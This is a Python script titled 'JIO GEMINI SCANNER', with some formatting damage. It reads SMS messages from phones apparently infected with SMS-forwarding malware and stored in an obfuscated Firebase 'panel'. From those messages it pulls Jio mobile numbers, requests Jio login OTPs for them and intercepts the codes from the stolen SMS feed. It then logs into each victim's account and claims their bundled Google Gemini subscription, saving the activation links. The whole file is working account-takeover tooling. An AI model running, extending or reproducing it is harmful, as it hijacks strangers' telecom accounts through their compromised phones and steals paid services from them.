| | from future import annotations | | | import base64 | | | import csv | | | import html | | | import json | | | import re | | | import sys | | | import time | | | from collections import Counter, defaultdict | | | from dataclasses import dataclass, field | | | from datetime import datetime | | | from pathlib import Path | | | from typing import Any, Callable, Dict, List, Optional, Set, Tuple | | | from urllib.parse import unquote | | | from zoneinfo import ZoneInfo | | | import requests | | | from rich.console import Console | | | from rich.panel import Panel | | | from rich.progress import BarColumn, Progress, SpinnerColumn, TextColumn, TimeElapsedColumn | | | from rich.style import Style | | | from rich.table import Table | | | from rich.text import Text | | | # Ensure stdout/stderr handles UTF-8 on Windows environments | | | if sys.stdout and hasattr(sys.stdout, "reconfigure"): | | | try: | | | sys.stdout.reconfigure(encoding="utf-8") | | | except Exception: | | | pass | | | if sys.stderr and hasattr(sys.stderr, "reconfigure"): | | | try: | | | sys.stderr.reconfigure(encoding="utf-8") | | | except Exception: | | | pass | | | # Initialize Rich console |
| | console = Console() |
| | # ==================== CONFIGURATION ==================== |
| | FIREBASE_PANELS: List[Tuple[str, str]] = [ |
| | ("https://annebellapanel.vercel.app/?s=aHR0cHM6Ly9jb3VzdGVtZXItc3VwcG9ydC0xMmU0MC1kZWZhdWx0LXJ0ZGIuZmlyZWJhc2Vpby5jb218fHxBbm5lYmVsbGE=", "Gagw"), | | | ] |
| | MESSAGE_SCAN_LIMIT: int = 100 |
| | OTP_TIMEOUT: int = 15 |
| | POLL_INTERVAL: int = 1 |
| | LINKS_FILE: Path = Path("gemini_activation_links.txt") |
| | RESULTS_FILE: Path = Path("gemini_results.csv") |
| | CHECK_NUMBER_URL: str = "https://www.jio.com/api/jio-recharge-service/recharge/mobility/number/{mobile}" |
| | SEND_OTP_URL: str = "https://www.jio.com/api/jio-login-service/login/sendOtp" |
| | VERIFY_OTP_URL: str = "https://www.jio.com/api/jio-login-service/login/validateOtp" |
| | AUTH_URL: str = "https://www.jio.com/api/jio-authenticate-service/authenticate/authJsonData" | | | NAVIGATE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/navigate/Z0241" |
| | ACTIVATE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/activate/Z0241?source=JIO" |
| | GOOGLE_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/google-ai" |
| | SUBMIT_URL: str = "https://www.jio.com/api/jio-ott-service/ott/subscription/submit" |
| | GOOGLE_PAGE: str = "https://www.jio.com/selfcare/googleai/?header=no&type=Z0241&source=JIO" |
| | NUMBER_PATTERNS: Tuple[re.Pattern, ...] = ( |
| | re.compile(r"(?i)\bjio\s*(?:number\|no[.]?)\s*[:=-]?\s*(?:[+]91)?([6-9]\d{9})"), |
| | re.compile(r"(?i)\brecharge(?:\s+now)?\s+jio\s+no[.]?\s*[:=-]?\s*(?:[+]91)?([6-9]\d{9})"), |
| | ) |
| | OTP_WORD_PATTERN: re.Pattern = re.compile(r"(?i)\botp\b\|one[ -]?time password") |
| | OTP_PATTERN: re.Pattern = re.compile(r"(?<!\d)(\d{6})(?!\d)") |
| | ACTIVATION_PATTERN: re.Pattern = re.compile( |
| | r"https?://serviceactivation[.]google[.]com/subscription/new/" |
| | r"(?P<token>[A-Za-z0-9_-]{50,})(?P<padding>={0,2})", |
| | re.IGNORECASE, | | | ) | | | RESULT_FIELDS: Tuple[str, ...] = ( | | | "serial_number", | | | "device_id", | | | "mobile_number", | | | "status", | | | "activation_url", | | | "nepal_date", | | | "nepal_time", | | | ) | | | # Status color mappings for terminal UI display | | | STATUS_COLORS: Dict[str, str] = { | | | "activation_url_found": "bold green", | | | "already_active": "bold yellow", | | | "device_offline": "dim red", | | | "not_jio_number": "bold red", | | | "otp_send_failed": "bold red", | | | "otp_failed": "bold red", | | | "activation_api_failed": "bold red", | | | "no_activation_url": "bold orange3", | | | "api_session_invalid": "bold red", | | | } | | | # ==================== DATA MODELS ==================== | | | @dataclass | | | class OnlineDevice: | | | """Represents an online target device connected to Firebase.""" | | | device_id: str | | | base_url: str | | | firebase_key: str | | | firebase_session: requests.Session | | | data: Dict[str, Any] | | | @dataclass | | | class TargetNumber: | | | """Represents a target mobile number mapped to a specific device.""" | | | device_id: str | | | mobile_number: str |
| | # ==================== HELPER FUNCTIONS ==================== |
| | def parse_panel_info(url: str, default_key: str) -> Tuple[str, str]: |
| | """Parse and decrypt panel connection parameters (base URL and auth key).""" | | | if "?s=" in url: | | | try: | | | s_param = url.split("?s=")[1].split("&")[0] | | | # Try XOR format (zxkaiz algorithm) | | | try: |
| | b64 = s_param + "=" * (-len(s_param) % 4) |
| | bin_data = base64.urlsafe_b64decode(b64) |
| | key_str = "ZXKAIv1_Xk9mP2wN7qL4vR6jH3cF8yT1ZbE5sA09" |
| | dec = bytearray() |
| | for i in range(len(bin_data)): |
| | dec.append(bin_data[i] ^ ord(key_str[i % len(key_str)])) |
| | obj = json.loads(dec.decode("utf-8")) |
| | if "u" in obj and "k" in obj: | | | return obj["u"].strip(), obj["k"].strip() | | | except Exception: | | | pass | | | # Fallback to legacy base64 format (firexpanel / annebellapanel) |
| | b64_part = s_param + "=" * (-len(s_param) % 4) |
| | decoded = base64.b64decode(b64_part).decode("utf-8") |
| | if "|||" in decoded: | | | return decoded.split("|||")[0].strip(), default_key | | | return decoded.strip(), default_key | | | except Exception: | | | pass | | | return url, default_key | | | def firebase_session() -> requests.Session: | | | """Create a configured HTTP session for Firebase REST requests.""" |
| | session = requests.Session() |
| | session.headers.update({"Accept": "application/json", "Cache-Control": "no-cache"}) |
| | return session | | | def jio_session() -> requests.Session: | | | """Create a configured HTTP session with browser headers for Jio APIs.""" |
| | session = requests.Session() |
| | session.headers.update({ |
| | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120 Safari/537.36", |
| | "Accept": "application/json, text/plain, /", | | | "Accept-Language": "en-US,en;q=0.9", | | | "Origin": "https://www.jio.com", | | | "Referer": "https://www.jio.com/selfcare/login/", | | | }) | | | return session | | | def firebase_get( | | | session: requests.Session, | | | base_url: str, | | | key: str, | | | path: str, |
| | params: Optional[Dict[str, Any]] = None, |
| | ) -> Any: |
| | """Execute a authenticated GET request to Firebase database endpoint.""" | | | query = {"auth": key} | | | if params: |
| | query.update(params) |
| | response = session.get(f"{base_url}/{path.strip('/')}.json", params=query, timeout=20) |
| | response.raise_for_status() |
| | return response.json() |
| | def latest_messages( | | | session: requests.Session, | | | base_url: str, | | | key: str, | | | device_id: str, | | | limit: int, | | | ) -> Dict[str, Dict[str, Any]]: | | | """Retrieve latest SMS messages for a given device from Firebase.""" | | | data = firebase_get( | | | session, | | | base_url, | | | key, |
| | f"messages/{device_id}", |
| | {"orderBy": '"$key"', "limitToLast": max(1, limit)}, |
| | ) |
| | if not isinstance(data, dict): |
| | return {} |
| | return {name: value for name, value in data.items() if isinstance(value, dict)} |
| | def normalize_mobile(value: Any) -> Optional[str]: |
| | """Sanitize and extract a 10-digit Indian mobile number.""" |
| | digits = re.sub(r"\D", "", str(value or "")) |
| | if len(digits) > 10 and digits.startswith("91"): |
| | digits = digits[-10:] |
| | return digits if re.fullmatch(r"[6-9]\d{9}", digits) else None |
| | def number_candidates(messages: Dict[str, Dict[str, Any]]) -> Set[str]: |
| | """Extract mobile number candidates from SMS payload body and SIM metadata.""" |
| | found: Set[str] = set() |
| | for item in messages.values(): |
| | sim_info = item.get("simInfo") |
| | if isinstance(sim_info, dict): |
| | mobile = normalize_mobile(sim_info.get("phoneNumber")) |
| | if mobile: |
| | found.add(mobile) |
| | mobile = normalize_mobile(item.get("phoneNumber")) |
| | if mobile: |
| | found.add(mobile) |
| | body = str(item.get("message", "")) |
| | for pattern in NUMBER_PATTERNS: | | | found.update(pattern.findall(body)) | | | return found | | | def response_json(response: requests.Response) -> Dict[str, Any]: | | | """Safely parse JSON response body.""" | | | try: | | | data = response.json() | | | except ValueError: |
| | return {} |
| | return data if isinstance(data, dict) else {} |
| | def response_error(response: requests.Response) -> bool: |
| | """Check whether HTTP response or payload indicates an API error.""" | | | if not response.ok: | | | return True |
| | data = response_json(response) |
| | if data.get("errorMessage") or data.get("error"): |
| | return True |
| | return str(data.get("status", "")).lower() in {"failed", "failure", "error", "false"} |
| | def is_jio_number(session: requests.Session, mobile: str) -> bool: |
| | """Validate whether the target number is an active Jio mobility line.""" | | | try: | | | response = session.get(CHECK_NUMBER_URL.format(mobile=mobile), timeout=20) | | | except requests.RequestException: | | | return False |
| | data = response_json(response) |
| | return not response_error(response) and bool(data.get("primaryService")) |
| | def send_otp(session: requests.Session, mobile: str) -> bool: |
| | """Trigger Jio login OTP dispatch to target mobile number.""" | | | try: | | | response = session.post( | | | SEND_OTP_URL, | | | json={"mobileNumber": mobile, "loginFlowType": "MOBILE", "alternateNumber": ""}, | | | timeout=20, | | | ) | | | except requests.RequestException: | | | return False | | | return not response_error(response) | | | def verify_otp(session: requests.Session, mobile: str, otp: str) -> bool: | | | """Verify received OTP against Jio authentication endpoint.""" | | | try: | | | response = session.post(VERIFY_OTP_URL, json={"mobileNumber": mobile, "otp": otp}, timeout=20) | | | except requests.RequestException: | | | return False | | | return not response_error(response) | | | def message_order(key: str, item: Dict[str, Any]) -> int: | | | """Extract message sorting priority integer.""" | | | for value in (item.get("id"), item.get("timestamp"), key): | | | try: |
| | return int(value) |
| | except (TypeError, ValueError): |
| | continue | | | return 0 | | | def wait_for_otp( | | | firebase: requests.Session, | | | base_url: str, | | | key: str, | | | device_id: str, | | | known_keys: Set[str], | | | jio: requests.Session, | | | mobile: str, |
| | on_tick: Optional[Callable[[int], None]] = None, |
| | ) -> bool: |
| | """Poll Firebase for incoming OTP SMS and attempt verification within deadline.""" |
| | used: Set[str] = set() |
| | deadline = time.monotonic() + OTP_TIMEOUT |
| | while time.monotonic() < deadline: |
| | remaining = max(0, int(deadline - time.monotonic())) |
| | if on_tick: | | | on_tick(remaining) | | | try: | | | messages = latest_messages(firebase, base_url, key, device_id, 20) | | | except requests.RequestException: | | | time.sleep(POLL_INTERVAL) | | | continue |
| | candidates: List[Tuple[int, str, str]] = [] |
| | for message_key, item in messages.items(): |
| | if message_key in known_keys or message_key in used: | | | continue |
| | body = str(item.get("message", "")) |
| | if not OTP_WORD_PATTERN.search(body): |
| | continue | | | match = OTP_PATTERN.search(body) | | | if match: | | | candidates.append((message_order(message_key, item), message_key, match.group(1))) | | | if candidates: |
| | _, message_key, otp = max(candidates) |
| | used.add(message_key) |
| | if verify_otp(jio, mobile, otp): |
| | return True | | | time.sleep(POLL_INTERVAL) | | | return False | | | def activation_url(value: str) -> str: | | | """Unescape and extract Google Gemini activation URL from redirection string.""" | | | text = html.unescape(value or "").replace("\/", "/") | | | # Try direct pattern match first before unquoting to avoid token corruption | | | match = ACTIVATION_PATTERN.search(text) | | | if match: | | | return "https://serviceactivation.google.com/subscription/new/" + match.group("token") + match.group("padding") | | | # Fallback with iterative unquoting if url-encoded |
| | for _ in range(4): |
| | decoded = unquote(text) |
| | if decoded == text: |
| | break | | | text = decoded | | | match = ACTIVATION_PATTERN.search(text) | | | if not match: | | | return "" | | | return "https://serviceactivation.google.com/subscription/new/" + match.group("token") + match.group("padding") | | | def already_active(value: str) -> bool: | | | """Detect if API response text indicates subscription is already claimed/active.""" | | | normalized = " ".join((value or "").lower().replace("_", " ").split()) | | | return any(phrase in normalized for phrase in ( | | | "already active", "already activated", "already redeemed", | | | "already claimed", "already availed" |
| | )) |
| | def api_message(data: Dict[str, Any]) -> str: |
| | """Extract descriptive status message from Jio API response object.""" | | | for name in ("errorMessage", "responseMessage", "responseMsg", "message"): |
| | if data.get(name): |
| | return str(data[name]) |
| | return "" | | | def get_activation(session: requests.Session) -> Tuple[str, str]: | | | """Execute Jio OTT Google Gemini activation workflow and return status and link.""" |
| | dashboard_headers = {"Accept": "*/*", "Referer": "https://www.jio.com/selfcare/dashboard/"} |
| | offer_headers = {"Accept": "*/*", "Referer": GOOGLE_PAGE} |
| | try: |
| | auth_response = session.get(AUTH_URL, headers=dashboard_headers, timeout=20) |
| | auth_data = response_json(auth_response) |
| | if not auth_response.ok or str(auth_data.get("loginFlag", "")).lower() != "true": |
| | return "api_session_invalid", "" |
| | session.get(NAVIGATE_URL, headers=dashboard_headers, timeout=20) |
| | activate_response = session.get(ACTIVATE_URL, headers=offer_headers, timeout=20) |
| | activate_data = response_json(activate_response) |
| | if already_active(api_message(activate_data)): |
| | return "already_active", "" | | | if not activate_response.ok or str(activate_data.get("errorCode", "200")) != "200": | | | return "activation_api_failed", "" |
| | google_response = session.get(GOOGLE_URL, headers=offer_headers, timeout=20) |
| | google_data = response_json(google_response) |
| | if already_active(api_message(google_data)): |
| | return "already_active", "" | | | url = activation_url(str(google_data.get("redirectionURL", ""))) | | | if not url: | | | return "no_activation_url", "" | | | try: | | | session.get(SUBMIT_URL, headers=offer_headers, timeout=20) | | | except requests.RequestException: | | | pass | | | return "activation_url_found", url | | | except requests.RequestException: | | | return "activation_api_failed", "" | | | def save_link(url: str) -> None: | | | """Persist generated Gemini activation link to output text file.""" | | | if not url: | | | return | | | existing = set(LINKS_FILE.read_text(encoding="utf-8").splitlines()) if LINKS_FILE.exists() else set() | | | if url in existing: | | | return |
| | with LINKS_FILE.open("a", encoding="utf-8") as handle: |
| | handle.write(url + "\n") |
| | def save_result(serial: int, device_id: str, mobile: str, status: str, url: str) -> None: |
| | """Record activation execution outcome into CSV results file.""" |
| | now = datetime.now(ZoneInfo("Asia/Kathmandu")) |
| | exists = RESULTS_FILE.exists() and RESULTS_FILE.stat().st_size > 0 |
| | with RESULTS_FILE.open("a", newline="", encoding="utf-8") as handle: |
| | writer = csv.DictWriter(handle, fieldnames=RESULT_FIELDS) |
| | if not exists: |
| | writer.writeheader() |
| | writer.writerow({ |
| | "serial_number": serial, | | | "device_id": device_id, | | | "mobile_number": mobile, | | | "status": status, | | | "activation_url": url, |
| | "nepal_date": now.strftime("%Y-%m-%d"), |
| | "nepal_time": now.strftime("%I:%M:%S %p"), |
| | }) |
| | # ==================== TERMINAL UI PRESENTATION ==================== |
| | def print_banner() -> None: |
| | """Render simple header banner in terminal.""" |
| | panel = Panel( |
| | Text("JIO GEMINI SCANNER", style="bold cyan", justify="center"), |
| | border_style="cyan", | | | padding=(0, 4), | | | expand=False, | | | ) |
| | console.print() |
| | console.print(panel, justify="center") |
| | console.print() |
| | def format_status_badge(status: str) -> str: |
| | """Format string status into a colored rich badge.""" |
| | color = STATUS_COLORS.get(status, "bold white") |
| | label = status.upper().replace("_", " ") |
| | return f"[{color}]{label}[/{color}]" |
| | def mask_number(mobile: str) -> str: |
| | """Mask target phone number for clean output presentation.""" |
| | if len(mobile) == 10: |
| | return f"******{mobile[-4:]}" |
| | return mobile |
| | # ==================== MAIN EXECUTION CONTROLLER ==================== |
| | def main() -> int: |
| | print_banner() |
| | # ---------------- STAGE 1: PANEL DISCOVERY ---------------- |
| | console.print("[bold yellow]STAGE 1[/bold yellow] \| [bold white]Connecting Panels & Online Devices[/bold white]\n") |
| | panel_table = Table(show_header=True, header_style="bold blue", border_style="dim cyan", expand=True) |
| | panel_table.add_column("Panel #", justify="center", style="bold yellow", width=8) |
| | panel_table.add_column("Host URL", style="cyan") |
| | panel_table.add_column("Status", justify="center") |
| | panel_table.add_column("Online Devices", justify="right", style="bold green") |
| | all_online_devices: Dict[str, OnlineDevice] = {} |
| | device_messages: Dict[str, Dict[str, Dict[str, Any]]] = {} |
| | with Progress( |
| | SpinnerColumn("dots", style="cyan"), |
| | TextColumn("[progress.description]{task.description}"), |
| | BarColumn(bar_width=30, style="cyan", complete_style="bold blue"), |
| | TimeElapsedColumn(), |
| | console=console, |
| | ) as progress: |
| | task = progress.add_task("Inspecting Panels...", total=len(FIREBASE_PANELS)) |
| | for panel_idx, (orig_url, orig_key) in enumerate(FIREBASE_PANELS, start=1): |
| | base_url, firebase_key = parse_panel_info(orig_url, orig_key) | | | firebase = firebase_session() | | | try: | | | clients = firebase_get(firebase, base_url, firebase_key, "clients") |
| | if not isinstance(clients, dict): |
| | panel_table.add_row(str(panel_idx), base_url[:50], "[dim red]No Clients[/dim red]", "0") |
| | progress.advance(task) |
| | continue | | | online_count = 0 |
| | for device_id, data in clients.items(): |
| | if isinstance(data, dict) and data.get("status") is True: |
| | all_online_devices[device_id] = OnlineDevice( |
| | device_id=device_id, | | | base_url=base_url, | | | firebase_key=firebase_key, | | | firebase_session=firebase, | | | data=data, | | | ) | | | online_count += 1 |
| | status_str = "[bold green]Connected[/bold green]" if online_count > 0 else "[yellow]No Online Devices[/yellow]" |
| | panel_table.add_row(str(panel_idx), base_url[:55], status_str, str(online_count)) |
| | except Exception as e: |
| | panel_table.add_row(str(panel_idx), base_url[:55], f"[bold red]Error: {type(e).__name__}[/bold red]", "0") |
| | progress.advance(task) |
| | console.print(panel_table) |
| | console.print(f"\n[bold green][+] Total Online Devices Identified:[/bold green] [bold white]{len(all_online_devices)}[/bold white]\n") |
| | if not all_online_devices: | | | console.print(Panel("[bold red]No online devices found across configured Firebase panels.[/bold red]", border_style="red")) | | | return 1 |
| | # ---------------- STAGE 2: MESSAGE SCANNING & TARGET MAPPING ---------------- |
| | console.print("[bold yellow]STAGE 2[/bold yellow] \| [bold white]Scanning Messages & Extracting Targets[/bold white]\n") |
| | mappings: Dict[str, Set[str]] = defaultdict(set) |
| | total_devices = len(all_online_devices) |
| | with Progress( |
| | SpinnerColumn("bouncingBar", style="magenta"), |
| | TextColumn("[progress.description]{task.description}"), |
| | BarColumn(bar_width=40, style="magenta", complete_style="bold green"), |
| | TextColumn("[bold cyan]{task.completed}/{task.total}[/bold cyan] devices"), |
| | console=console, | | | ) as progress: | | | scan_task = progress.add_task("Scanning Device SMS Archives...", total=total_devices) | | | for device_id, info in all_online_devices.items(): | | | try: | | | messages = latest_messages( | | | info.firebase_session, | | | info.base_url, | | | info.firebase_key, | | | device_id, | | | MESSAGE_SCAN_LIMIT, | | | ) |
| | device_messages[device_id] = messages |
| | for mobile in number_candidates(messages): |
| | mappings[mobile].add(device_id) |
| | except Exception: |
| | device_messages[device_id] = {} |
| | progress.advance(scan_task) |
| | targets: List[TargetNumber] = [] |
| | for mobile, devices in sorted(mappings.items()): |
| | if devices: |
| | targets.append(TargetNumber(device_id=sorted(devices)[0], mobile_number=mobile)) |
| | console.print(f"\n[bold green][+] Unique Target Mobile Numbers Discovered:[/bold green] [bold white]{len(targets)}[/bold white]\n") |
| | if not targets: | | | console.print(Panel("[bold red]No candidate mobile numbers extracted from device messages.[/bold red]", border_style="red")) | | | return 1 |
| | # ---------------- STAGE 3: OTP & ACTIVATION WORKFLOW ---------------- |
| | console.print("[bold yellow]STAGE 3[/bold yellow] \| [bold white]OTP Verification & Activation[/bold white]\n") |
| | statuses: Counter[str] = Counter() |
| | act_table = Table(show_header=True, header_style="bold magenta", border_style="dim blue", expand=True) |
| | act_table.add_column("#", justify="center", style="bold yellow", width=5) |
| | act_table.add_column("Device ID", style="dim white", width=18) |
| | act_table.add_column("Target Number", justify="center", style="bold cyan", width=15) |
| | act_table.add_column("Status Outcome", justify="center", width=22) |
| | act_table.add_column("Activation Link / Output", style="green") | | | with Progress( |
| | SpinnerColumn("dots", style="bold cyan"), |
| | TextColumn("[bold cyan][{task.completed}/{task.total}][/bold cyan]"), |
| | BarColumn(bar_width=30, style="magenta", complete_style="bold green"), |
| | TextColumn("[bold white]{task.description}[/bold white]"), |
| | TimeElapsedColumn(), |
| | console=console, |
| | ) as progress: |
| | act_task = progress.add_task("Initializing Target Queue...", total=len(targets)) |
| | for serial, target in enumerate(targets, start=1): |
| | device_id = target.device_id | | | mobile = target.mobile_number |
| | masked = mask_number(mobile) |
| | info = all_online_devices.get(device_id) |
| | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Checking device...") |
| | if not info or not isinstance(info.data, dict) or info.data.get("status") is not True: |
| | status, url = "device_offline", "" | | | else: |
| | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Validating Jio line...") |
| | jio = jio_session() |
| | if not is_jio_number(jio, mobile): |
| | status, url = "not_jio_number", "" | | | else: |
| | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Sending Jio OTP...") |
| | known_keys = set(device_messages.get(device_id, {})) |
| | if not send_otp(jio, mobile): |
| | status, url = "otp_send_failed", "" | | | else: | | | def update_otp_status(rem_sec: int) -> None: | | | progress.update( | | | act_task, | | | description=f"Target {serial}/{len(targets)} ({masked}): Polling OTP SMS ({rem_sec}s remaining)...", | | | ) | | | if not wait_for_otp( | | | info.firebase_session, | | | info.base_url, | | | info.firebase_key, | | | device_id, | | | known_keys, | | | jio, | | | mobile, | | | on_tick=update_otp_status, | | | ): | | | status, url = "otp_failed", "" | | | else: |
| | progress.update(act_task, description=f"Target {serial}/{len(targets)} ({masked}): Claiming Gemini subscription...") |
| | status, url = get_activation(jio) |
| | statuses[status] += 1 |
| | save_link(url) |
| | save_result(serial, device_id, mobile, status, url) | | | badge = format_status_badge(status) | | | if url: | | | link_display = Text("OPEN LINK", style=f"bold underline green link {url}") | | | else: |
| | link_display = Text("-", style="dim") |
| | act_table.add_row(str(serial), device_id[:16], masked, badge, link_display) |
| | if url: |
| | link_text = Text() |
| | link_text.append(f"\n[+] LINK #{serial} ({masked}): ", style="bold green") |
| | link_text.append(url, style=f"bold underline cyan link {url}") |
| | console.print(link_text, soft_wrap=True) |
| | progress.advance(act_task) |
| | console.print(act_table) |
| | # ---------------- SUMMARY DASHBOARD ---------------- |
| | console.print("\n[bold yellow]SUMMARY[/bold yellow]\n") |
| | summary_table = Table(show_header=True, header_style="bold green", border_style="bold green", expand=False) |
| | summary_table.add_column("Status Metric", style="bold white", width=25) |
| | summary_table.add_column("Count", justify="center", style="bold cyan", width=10) |
| | summary_table.add_column("Badge", justify="center", width=22) |
| | for status_key, count in sorted(statuses.items()): |
| | summary_table.add_row(status_key.replace("_", " ").title(), str(count), format_status_badge(status_key)) |
| | console.print(summary_table) |
| | file_info = Text() |
| | file_info.append("Saved Outputs:\n", style="bold cyan") |
| | file_info.append(f" * Activation Links : {LINKS_FILE.resolve()}\n", style="white") |
| | file_info.append(f" * Detailed Results : {RESULTS_FILE.resolve()}", style="white") |
| | console.print(Panel(file_info, title="[bold green]Complete[/bold green]", border_style="green")) |
| | return 0 | | | if name == "main": | | | try: | | | sys.exit(main()) | | | except KeyboardInterrupt: |
| | console.print("\n[bold red]Execution interrupted by user.[/bold red]") |
| | sys.exit(130) |